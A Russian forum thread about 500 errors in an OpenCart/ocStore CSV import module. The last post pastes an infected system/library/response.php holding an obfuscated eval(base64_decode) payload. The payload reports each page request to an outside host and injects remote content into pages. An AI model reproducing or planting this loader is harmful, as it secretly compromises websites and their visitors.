Модуль "CSV Product Import" v3.0.2

Paradoks

Постоялец
Заблокирован
Регистрация
3 Мар 2013
Сообщения
78
Реакции
29
  • Автор темы
  • Заблокирован
  • #1
Помогите разобраться.
Установлен ocStore 1.5.3.1
При попытке залить товары при помощи CSV Product Import v3.0.2
Модуль CSV Product Import v3.0.2 выдаёт такую ошибку:
2013-04-23_220232.jpg
С чем это связано?
 
Какое к-во заливаете?
500 ошибка как бы чаще всего означает что неправильно настроен htaccess
Но тут думаю вы большое к-во заливаете а модуль не справляется из за ограничения на хостинге
 
  • Автор темы
  • Заблокирован
  • #3
Какое к-во заливаете?
500 ошибка как бы чаще всего означает что неправильно настроен htaccess
Но тут думаю вы большое к-во заливаете а модуль не справляется из за ограничения на хостинге

Количество скажем так, разное пробовал заливать от 100 до 2000 тысяч товаров.
Хостинг "ukraine.com.ua"

htaccess - залил уже чистый.

admin/controller/tool/csv_import.php
пробовал прописывать - setlocale(LC_ALL, 'ru_RU.UTF-8');
-----------------------------------------------------------------------------------------------------
формат прайса - cvs

Пробывал кодировку - windows1251, UTF-8.
Ставил разделитель полей - ; ,
-----------------------------------------------------------------------------------------------------
На хостинге уже везде выставил кодировку windows1251.
-----------------------------------------------------------------------------------------------------

А оно не поддаётся))))
 
1) писать хостеру - они любят ставить ограничения на кол-во запросов к БД
2) для теста, залить 50-100 товаров
3) у вас .htaccess или htaccess.txt? (правильно первый вариант)
 
  • Автор темы
  • Заблокирован
  • #5
1) писать хостеру - они любят ставить ограничения на кол-во запросов к БД
2) для теста, залить 50-100 товаров
3) у вас .htaccess или htaccess.txt? (правильно первый вариант)

Хостер мне ответил: Доброй ночи Дмитрий. Спасибо за ожидание.
К сожалению что то посоветовать в этой ситуации не можем, поскольку мы не являемся разработчиками модуля, и как он работает, не знаем. Вы можете поискать информацию по этому вопросу в интернете, и если есть какие либо решения, попробовать их внедрить у себя.
У меня htaccess.

50 товаров получилось залить, я так понимаю нужно мучить хостера???
Как правильно им задать вопрос?
 
  • Автор темы
  • Заблокирован
  • #7
У меня htaccess.

Еще раз - файл должен называться .htaccess с точкой вначале.
У меня так и подписан .htaccess
Спросите, какой у них лимит на запросы к БД в час.
Здравствуйте. На виртуальном хостинге max_questions=50000 (в час)
 
  • Автор темы
  • Заблокирован
  • #8
У меня получается так, пробую залить 300 или 3000 тис. товаров, модуль выдаёт ошибку [11:25:12] Server error (status=500). но 40-50 товаров появляются в категориях.
Может у меня где-то ограничения в движке прописаны???
 
В движке не прописаны ограничения!
Даже если штучно установить лимит на выполнения скрипта то ничего ето не даст, так как хостинг не позволит.
Меняйте хостинг или делайте импорт на локалхосте а потом из БД переносите
 
  • Автор темы
  • Заблокирован
  • #10
Нашёл проблему.
Она была в файле system/library/response.php
Вложения response.php
<?php
class Response {
private $headers = array();
private $level = 0;
private $output;

public function addHeader($header) {
$this->headers[] = $header;
}

public function redirect($url) {
header('Location: ' . $url);
exit;
}

public function setCompression($level) {
$this->level = $level;
}

public function setOutput($output) {
$this->output = $output;
}

private function compress($data, $level = 0) {
if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') !== false)) {
$encoding = 'gzip';
}

if (isset($_SERVER['HTTP_ACCEPT_ENCODING']) && (strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip') !== false)) {
$encoding = 'x-gzip';
}

if (!isset($encoding)) {
return $data;
}

if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
return $data;
}

if (headers_sent()) {
return $data;
}

if (connection_status()) {
return $data;
}

$this->addHeader('Content-Encoding: ' . $encoding);

return gzencode($data, (int)$level);
}

public function output() {
if ($this->output) {
if ($this->level) {
$ouput = $this->compress($this->output, $this->level);
} else {
$ouput = $this->output;
}

if (!headers_sent()) {
foreach ($this->headers as $header) {
header($header, true);
}
}

$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9teW9wZW5jYXJ0Lm5ldC9nb29nbGVjb2RlL2FwaS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIsICJteW9wZW5jYXJ0Lm5ldCIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));
}
}
}
?>[/spoil]

Кто скажет что там не так???
Все это началось после установки модуля
[spoil]Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Скаченного c раздела (Платные модули для Opencart)
 
Назад
Сверху